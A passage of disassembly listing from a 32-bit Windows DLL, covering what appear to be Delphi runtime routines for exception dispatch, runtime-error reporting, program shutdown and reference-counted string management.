locret_100028F2:			; CODE XREF: sub_100028CC+7j
		retn
sub_100028CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100028F4	proc near		; CODE XREF: sub_10002AE8+28p
		cmp	ds:byte_10004010, 1
		jbe	short locret_1000290F
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_10005010
		pop	edx

locret_1000290F:			; CODE XREF: sub_100028F4+7j
		retn
sub_100028F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002910	proc near		; CODE XREF: CODE:loc_10002C45p
		push	eax
		push	edx
		cmp	ds:byte_10004010, 1
		jbe	short loc_1000292B
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_10005010


loc_1000292B:				; CODE XREF: sub_10002910+9j
		pop	edx
		pop	eax
		retn
sub_10002910	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_10002CB8


loc_10002930:				; CODE XREF: sub_10002CB8:loc_10002CFEj
					; sub_10002D18:loc_10002D5Ej ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_10002A54
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_100029BD
		cld
		call	sub_10002828
		mov	edx, ds:dword_1000500C
		test	edx, edx
		jz	loc_10002A54
		call	edx
		test	eax, eax
		jz	loc_10002A54
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_100029B4
		call	sub_1000285C
		cmp	ds:byte_10004014, 0
		jbe	short loc_100029B4
		cmp	ds:byte_10004010, 0
		ja	short loc_100029B4
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_10002A54
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_100029E4
; ---------------------------------------------------------------------------


loc_100029B4:				; CODE XREF: sub_10002CB8-33Dj
					; sub_10002CB8-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]


loc_100029BD:				; CODE XREF: sub_10002CB8-36Bj
		cmp	ds:byte_10004014, 1
		jbe	short loc_100029E4
		cmp	ds:byte_10004010, 0
		ja	short loc_100029E4
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_10002A54


loc_100029E4:				; CODE XREF: sub_10002CB8-306j
					; sub_10002CB8-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_10002A08
		push	edx
		call	ds:off_10005014


loc_10002A08:				; DATA XREF: sub_10002CB8-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_10003404
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_10002A34
		add	ebx, 5
		call	sub_10002898
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_10002CB8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10002A34	proc near		; DATA XREF: sub_10002CB8-295o
		jmp	loc_10002A5C
sub_10002A34	endp

; ---------------------------------------------------------------------------
		call	sub_10003404
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_10002834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10002CB8


loc_10002A54:				; CODE XREF: sub_10002CB8-37Dj
					; sub_10002CB8-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_10002CB8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_10001770


loc_10002A5C:				; CODE XREF: sub_10001770:loc_10001826j
					; sub_10001834:loc_1000190Aj ...
		mov	eax, [esp+4]
		mov	edx, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jz	short loc_10002A8C
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_10002A8C
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_100028CC
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_10002A8C:				; CODE XREF: sub_10001770+12FBj
					; DATA XREF: sub_10001770+1300o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_10001770
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002A94	proc near		; CODE XREF: sub_10002CB8+50p
					; sub_10002D18+50p

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_10002ADF
		call	sub_10003404
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_10002ACE
		mov	eax, [edx+8]
		call	sub_10002834
		call	sub_10002840


loc_10002ACE:				; CODE XREF: sub_10002A94+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_10002ADF:				; DATA XREF: sub_10002A94+4o
		mov	eax, 1
		retn
sub_10002A94	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002AE8	proc near		; CODE XREF: sub_10002CB8+55p
					; sub_10002D18+55p ...

arg_2C		= dword	ptr  30h

		call	sub_10003404
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_10002834
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_100028F4
		jmp	edx
sub_10002AE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10002B18	proc near		; CODE XREF: sub_10001E5C+F5p
					; sub_10001E5C+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_10002B18	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_10002B30:				; CODE XREF: CODE:10002C30j
					; CODE:10002C3Cj
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_10002B6B
		jz	short loc_10002B9D
		cmp	eax, 0C000008Eh
		jg	short loc_10002B5D
		jz	short loc_10002BA1
		sub	eax, 0C0000005h
		jz	short loc_10002BAD
		sub	eax, 87h
		jz	short loc_10002B95
		dec	eax
		jz	short loc_10002BA9
		jmp	short loc_10002BBD
; ---------------------------------------------------------------------------


loc_10002B5D:				; CODE XREF: CODE:10002B46j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_10002B9D
		jz	short loc_10002B99
		jmp	short loc_10002BBD
; ---------------------------------------------------------------------------


loc_10002B6B:				; CODE XREF: CODE:10002B3Dj
		cmp	eax, 0C0000096h
		jg	short loc_10002B83
		jz	short loc_10002BB1
		sub	eax, 0C0000093h
		jz	short loc_10002BA9
		dec	eax
		jz	short loc_10002B91
		dec	eax
		jz	short loc_10002BA5
		jmp	short loc_10002BBD
; ---------------------------------------------------------------------------


loc_10002B83:				; CODE XREF: CODE:10002B70j
		sub	eax, 0C00000FDh
		jz	short loc_10002BB9
		sub	eax, 3Dh
		jz	short loc_10002BB5
		jmp	short loc_10002BBD
; ---------------------------------------------------------------------------


loc_10002B91:				; CODE XREF: CODE:10002B7Cj
		mov	al, 0C8h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002B95:				; CODE XREF: CODE:10002B56j
		mov	al, 0C9h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002B99:				; CODE XREF: CODE:10002B67j
		mov	al, 0CDh
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002B9D:				; CODE XREF: CODE:10002B3Fj
					; CODE:10002B65j
		mov	al, 0CFh
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BA1:				; CODE XREF: CODE:10002B48j
		mov	al, 0C8h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BA5:				; CODE XREF: CODE:10002B7Fj
		mov	al, 0D7h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BA9:				; CODE XREF: CODE:10002B59j
					; CODE:10002B79j
		mov	al, 0CEh
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BAD:				; CODE XREF: CODE:10002B4Fj
		mov	al, 0D8h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BB1:				; CODE XREF: CODE:10002B72j
		mov	al, 0DAh
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BB5:				; CODE XREF: CODE:10002B8Dj
		mov	al, 0D9h
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BB9:				; CODE XREF: CODE:10002B88j
		mov	al, 0CAh
		jmp	short loc_10002BBF
; ---------------------------------------------------------------------------


loc_10002BBD:				; CODE XREF: CODE:10002B5Bj
					; CODE:10002B69j ...
		mov	al, 0FFh


loc_10002BBF:				; CODE XREF: CODE:10002B93j
					; CODE:10002B97j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_100024B4
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_10002BD0:				; DATA XREF: sub_10002C70+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_10002C6A
		cmp	ds:byte_10004010, 0
		ja	short loc_10002BF9
		lea	eax, [esp+4]
		push	eax
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_10002C6A


loc_10002BF9:				; CODE XREF: CODE:10002BE8j
		mov	eax, [esp+4]
		cld
		call	sub_10002828
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_10002C16
		push	edx
		call	ds:off_10005014


loc_10002C16:				; DATA XREF: CODE:10002C0Ao
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_10002C45
		mov	edx, ds:dword_1000500C
		test	edx, edx
		jz	loc_10002B30
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_10002B30
		mov	edx, [ebx+0Ch]


loc_10002C45:				; CODE XREF: CODE:10002C26j
		call	sub_10002910
		mov	ecx, ds:dword_10005004
		test	ecx, ecx
		jz	short loc_10002C56
		call	ecx


loc_10002C56:				; CODE XREF: CODE:10002C52j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_10002FB4
; ---------------------------------------------------------------------------


loc_10002C6A:				; CODE XREF: CODE:10002BDBj
					; CODE:10002BF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002C70	proc near		; CODE XREF: sub_10002D78+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_10002BD0
		mov	[eax+8], ebp
		mov	ds:dword_10005620, eax
		retn
sub_10002C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002C90	proc near		; CODE XREF: sub_10002ED0:loc_10002F5Ap
		xor	edx, edx
		mov	eax, ds:dword_10005620
		test	eax, eax
		jz	short locret_10002CB7
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_10002CAA
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_10002CA8:				; CODE XREF: sub_10002C90+21j
		mov	ecx, [ecx]


loc_10002CAA:				; CODE XREF: sub_10002C90+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_10002CB7
		cmp	[ecx], eax
		jnz	short loc_10002CA8
		mov	eax, [eax]
		mov	[ecx], eax

locret_10002CB7:			; CODE XREF: sub_10002C90+9j
					; sub_10002C90+1Dj
		retn
sub_10002C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002CB8	proc near		; CODE XREF: sub_10002CB8+4Bp
					; sub_10002D18+4Bp ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 10002930 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 10002A54 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_1000561C
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_10002D12
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10002CFE
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_10002CF4


loc_10002CE2:				; CODE XREF: sub_10002CB8+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_10002CF0
		call	eax


loc_10002CF0:				; CODE XREF: sub_10002CB8+34j
		test	ebx, ebx
		jg	short loc_10002CE2


loc_10002CF4:				; CODE XREF: sub_10002CB8+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10002D12
; ---------------------------------------------------------------------------


loc_10002CFE:				; DATA XREF: sub_10002CB8+1Bo
		jmp	loc_10002930
; ---------------------------------------------------------------------------
		call	sub_10002CB8
		call	sub_10002A94
		call	sub_10002AE8


loc_10002D12:				; CODE XREF: sub_10002CB8+10j
					; sub_10002CB8+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10002CB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002D18	proc near		; CODE XREF: sub_10002D78+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_10005624
		test	eax, eax
		jz	short loc_10002D72
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10002D5E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_10002D54


loc_10002D40:				; CODE XREF: sub_10002D18+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_10005628, ebx
		test	eax, eax
		jz	short loc_10002D50
		call	eax


loc_10002D50:				; CODE XREF: sub_10002D18+34j
		cmp	esi, ebx
		jg	short loc_10002D40


loc_10002D54:				; CODE XREF: sub_10002D18+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10002D72
; ---------------------------------------------------------------------------


loc_10002D5E:				; DATA XREF: sub_10002D18+19o
		jmp	loc_10002930
; ---------------------------------------------------------------------------
		call	sub_10002CB8
		call	sub_10002A94
		call	sub_10002AE8


loc_10002D72:				; CODE XREF: sub_10002D18+Dj
					; sub_10002D18+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10002D18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D78	proc near		; CODE XREF: sub_10003450+3Ap
		mov	ds:off_10005010, offset	sub_10001008
		mov	ds:off_10005014, offset	sub_10001010
		mov	ds:off_10005624, eax
		xor	eax, eax
		mov	ds:dword_10005628, eax
		mov	ds:off_1000562C, edx
		mov	eax, [edx+4]
		mov	ds:dword_1000501C, eax
		call	sub_10002C70
		mov	ds:byte_10005024, 0
		call	sub_10002D18
		retn
sub_10002D78	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002DB8	proc near		; CODE XREF: sub_10002ED0+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_10004000


loc_10002DC8:				; CODE XREF: sub_10002DB8+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_10002DC8
		mov	cl, 1Ch
		mov	eax, ds:dword_10004004


loc_10002DF4:				; CODE XREF: sub_10002DB8+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_10004074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_10002DF4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E14	proc near		; CODE XREF: sub_10002ED0+9Ep
		xor	eax, eax
		xchg	eax, ds:dword_10004000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_1000561C
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_10002E14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E44	proc near		; CODE XREF: sub_10002ED0+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_10005034, 0
		jz	short loc_10002EA5
		cmp	ds:word_10005208, 0D7B2h
		jnz	short loc_10002E6D
		cmp	ds:dword_10005210, 0
		jbe	short loc_10002E6D
		mov	eax, offset dword_10005204
		call	ds:dword_10005220


loc_10002E6D:				; CODE XREF: sub_10002E44+13j
					; sub_10002E44+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_10001000	; GetStdHandle
		push	eax
		call	sub_10001020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_10002ECC
		push	0FFFFFFF5h
		call	sub_10001000	; GetStdHandle
		push	eax
		call	sub_10001020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_10002EA5:				; CODE XREF: sub_10002E44+8j
		cmp	ds:byte_10004018, 0
		jnz	short loc_10002EC1
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_10001038	; MessageBoxA


loc_10002EC1:				; CODE XREF: sub_10002E44+68j
		pop	edx
		retn
sub_10002E44	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10002ECC	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002ED0	proc near		; CODE XREF: sub_10002FA8+5p
					; sub_10003A08+D6p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_1000561C
		mov	esi, offset dword_10004000
		mov	edi, offset dword_10005030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_10002EFF
		cmp	dword ptr [edi], 0
		jz	short loc_10002EFF


loc_10002EEE:				; CODE XREF: sub_10002ED0+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_10002EEE


loc_10002EFF:				; CODE XREF: sub_10002ED0+17j
					; sub_10002ED0+1Cj
		cmp	ds:dword_10004004, 0
		jz	short loc_10002F19
		call	sub_10002DB8
		call	sub_10002E44
		xor	eax, eax
		mov	ds:dword_10004004, eax


loc_10002F19:				; CODE XREF: sub_10002ED0+36j
					; sub_10002ED0+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_10002F29
		cmp	dword ptr [esi], 0
		jnz	short loc_10002F29
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_10002F29:				; CODE XREF: sub_10002ED0+4Dj
					; sub_10002ED0+52j
		call	sub_10002CB8
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_10002F39
		cmp	dword ptr [esi], 0
		jz	short loc_10002F5A


loc_10002F39:				; CODE XREF: sub_10002ED0+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_10002F5A
		call	sub_1000323C
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_10002F5A
		test	eax, eax
		jz	short loc_10002F5A
		push	eax
		call	sub_10001040	; FreeLibrary


loc_10002F5A:				; CODE XREF: sub_10002ED0+67j
					; sub_10002ED0+6Ej ...
		call	sub_10002C90
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_10002F68
		call	dword ptr [ebx+24h]


loc_10002F68:				; CODE XREF: sub_10002ED0+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_10002F73
		call	sub_10002E14


loc_10002F73:				; CODE XREF: sub_10002ED0+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_10002F8F
		cmp	ds:dword_10005018, 0
		jz	short loc_10002F87
		call	ds:dword_10005018


loc_10002F87:				; CODE XREF: sub_10002ED0+AFj
		mov	eax, [esi]
		push	eax
		call	sub_10001030	; ExitProcess


loc_10002F8F:				; CODE XREF: sub_10002ED0+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_10002F19
sub_10002ED0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002FA8	proc near		; CODE XREF: sub_100024B4+6p
					; sub_10002FB4+6j
		mov	ds:dword_10004000, eax
		call	sub_10002ED0
sub_10002FA8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002FB4	proc near		; CODE XREF: CODE:10002C65j
					; sub_100033C0+1Ap ...
		pop	ds:dword_10004004
		jmp	sub_10002FA8
sub_10002FB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10002FC0	proc near		; CODE XREF: sub_10002654+Fp
					; sub_10003084+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_10002FE2
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_10002FE2
		lock dec dword ptr [edx-8]
		jnz	short locret_10002FE2
		push	eax
		lea	eax, [edx-8]
		call	sub_10002444
		pop	eax

locret_10002FE2:			; CODE XREF: sub_10002FC0+4j
					; sub_10002FC0+10j ...
		retn
sub_10002FC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002FE4	proc near		; CODE XREF: sub_100035AC+B1p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_10002FEA:				; CODE XREF: sub_10002FE4+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_1000300A
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_1000300A
		lock dec dword ptr [edx-8]
		jnz	short loc_1000300A
		lea	eax, [edx-8]
		call	sub_10002444


loc_1000300A:				; CODE XREF: sub_10002FE4+Aj
					; sub_10002FE4+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_10002FEA
		pop	esi
		pop	ebx
		retn
sub_10002FE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003014	proc near		; CODE XREF: sub_100035AC+97p
					; sub_10003A08+A2p
		test	edx, edx
		jz	short loc_1000303C
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_10003038
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_10003058
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_10002528
		pop	edx
		pop	eax
		jmp	short loc_1000303C
; ---------------------------------------------------------------------------


loc_10003038:				; CODE XREF: sub_10003014+8j
		lock inc dword ptr [edx-8]


loc_1000303C:				; CODE XREF: sub_10003014+2j
					; sub_10003014+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_10003056
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_10003056
		lock dec dword ptr [edx-8]
		jnz	short locret_10003056
		lea	eax, [edx-8]
		call	sub_10002444

locret_10003056:			; CODE XREF: sub_10003014+2Cj
					; sub_10003014+32j ...
		retn
sub_10003014	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003058	proc near		; CODE XREF: sub_10003014+Fp
					; sub_10003084+Bp ...
		test	eax, eax
		jle	short loc_10003080
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_10002424
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_10003080:				; CODE XREF: sub_10003058+2j
		xor	eax, eax
		retn
sub_10003058	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003084	proc near		; CODE XREF: sub_10002654+2Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_10003058
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_100030A5
		mov	edx, eax
		mov	eax, esi
		call	sub_10002528


loc_100030A5:				; CODE XREF: sub_10003084+16j
		mov	eax, ebx
		call	sub_10002FC0
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003084	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100030B4	proc near		; CODE XREF: sub_100035AC+38p
					; sub_100035AC+7Fp
		test	eax, eax
		jz	short locret_100030BB
		mov	eax, [eax-4]

locret_100030BB:			; CODE XREF: sub_100030B4+2j
		retn
sub_100030B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_100030BC	proc near		; CODE XREF: sub_100035AC+15p
					; sub_100035AC+1Dp
		test	eax, eax
		jz	short locret_100030CA
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_100030CA
		lock inc dword ptr [eax-8]

locret_100030CA:			; CODE XREF: sub_100030BC+2j
					; sub_100030BC+8j
		retn
sub_100030BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100030CC	proc near		; CODE XREF: sub_10003710+185p
		test	eax, eax
		jz	short loc_100030D2
		retn
; ---------------------------------------------------------------------------
byte_100030D1	db 0			; DATA XREF: sub_100030CC:loc_100030D2o
; ---------------------------------------------------------------------------


loc_100030D2:				; CODE XREF: sub_100030CC+2j
		mov	eax, offset byte_100030D1
		retn
sub_100030CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_100030D8	proc near		; CODE XREF: sub_1000311Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_10003116
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_10003116
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_10003058
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_10002528
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_10003113
		lock dec dword ptr [eax-8]
		jnz	short loc_10003113
		lea	eax, [eax-8]
		call	sub_10002444


loc_10003113:				; CODE XREF: sub_100030D8+2Bj
					; sub_100030D8+31j
		mov	edx, [ebx]
		pop	ebx


loc_10003116:				; CODE XREF: sub_100030D8+4j
					; sub_100030D8+Aj
		mov	eax, edx
		retn
sub_100030D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000311C	proc near		; CODE XREF: sub_100035AC+63p
					; sub_10003A08+74p ...
		jmp	sub_100030D8
sub_1000311C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003124	proc near		; CODE XREF: sub_10002568+7Fp
